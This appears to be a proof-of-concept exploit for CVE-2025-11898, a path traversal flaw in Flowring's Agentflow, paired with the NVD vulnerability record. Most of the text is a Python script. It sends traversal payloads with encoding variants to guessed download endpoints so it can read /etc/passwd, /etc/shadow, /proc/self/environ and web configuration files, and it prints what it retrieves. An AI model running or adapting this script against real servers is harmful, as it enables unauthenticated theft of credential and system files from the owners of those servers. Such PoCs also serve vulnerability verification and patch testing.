CVE-2025-11898

# CVE-2025-11898 - Agentflow Relative Path Traversal PoC # Vulnerability: Arbitrary File Reading via Relative Path Traversal # Severity: HIGH (CVSS 7.5) import requests import sys from urllib.parse import quote TARGET_URL = "http://target-agentflow-server" # Common file download/read endpoints in Agentflow that may be vulnerable VULNERABLE_ENDPOINTS = [ "/download", "/file", "/getfile", "/readfile", "/export", "/attachment", "/resource", ] # Files to attempt to read TARGET_FILES = [ "../../../../../../etc/passwd", "../../../../../../etc/shadow", "../../../../../../windows/win.ini", "../../../../../../windows/system32/drivers/etc/hosts", "../../../../../../proc/self/environ", "../../../../../../WEB-INF/web.xml", "../../../../../../conf/server.xml", ] def exploit_path_traversal(base_url, endpoint, target_file): """ Attempt to exploit relative path traversal vulnerability """ # Try different path traversal patterns traversal_patterns = [ target_file, target_file.replace("../", "..\\\\"), "....//" + target_file.replace("../", ""), "." + target_file, ] for pattern in traversal_patterns: url = f"{base_url}{endpoint}" params = {"file": pattern, "path": pattern, "filename": pattern, "name": pattern} try: response = requests.get(url, params=params, timeout=10) # Check if response indicates successful file read if response.status_code == 200 and len(response.content) > 0: # Check for common indicators of successful file read indicators = ["root:", "Administrator", "localhost", "<?xml", "PATH="] for indicator in indicators: if indicator in response.text: print(f"[+] SUCCESS - Endpoint: {endpoint}, Pattern: {pattern}") print(f"[+] File content preview: {response.text[:200]}") return True, response.text except Exception as e: continue return False, None def main(): print(f"[*] Targeting: {TARGET_URL}") print(f"[*] CVE-2025-11898 - Agentflow Arbitrary File Reading\n") for endpoint in VULNERABLE_ENDPOINTS: for target_file in TARGET_FILES: success, content = exploit_path_traversal(TARGET_URL, endpoint, target_file) if success: print(f"\n[+] Vulnerability confirmed!") print(f"[+] Endpoint: {endpoint}") print(f"[+] File: {target_file}") sys.exit(0) print("[-] Could not confirm vulnerability with tested patterns") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-11898", "sourceIdentifier": "[email protected]", "published": "2025-10-17T04:16:03.277", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Agentflow developed by Flowring has an Arbitrary File Reading vulnerability, allowing unauthenticated remote attackers to exploit Relative Path Traversal to download arbitrary system files."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-23"}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10439-0bd15-2.html", "source": "[email protected]"}, {"url": "https://www.twcert.org.tw/tw/cp-132-10438-1173e-1.html", "source": "[email protected]"}]}}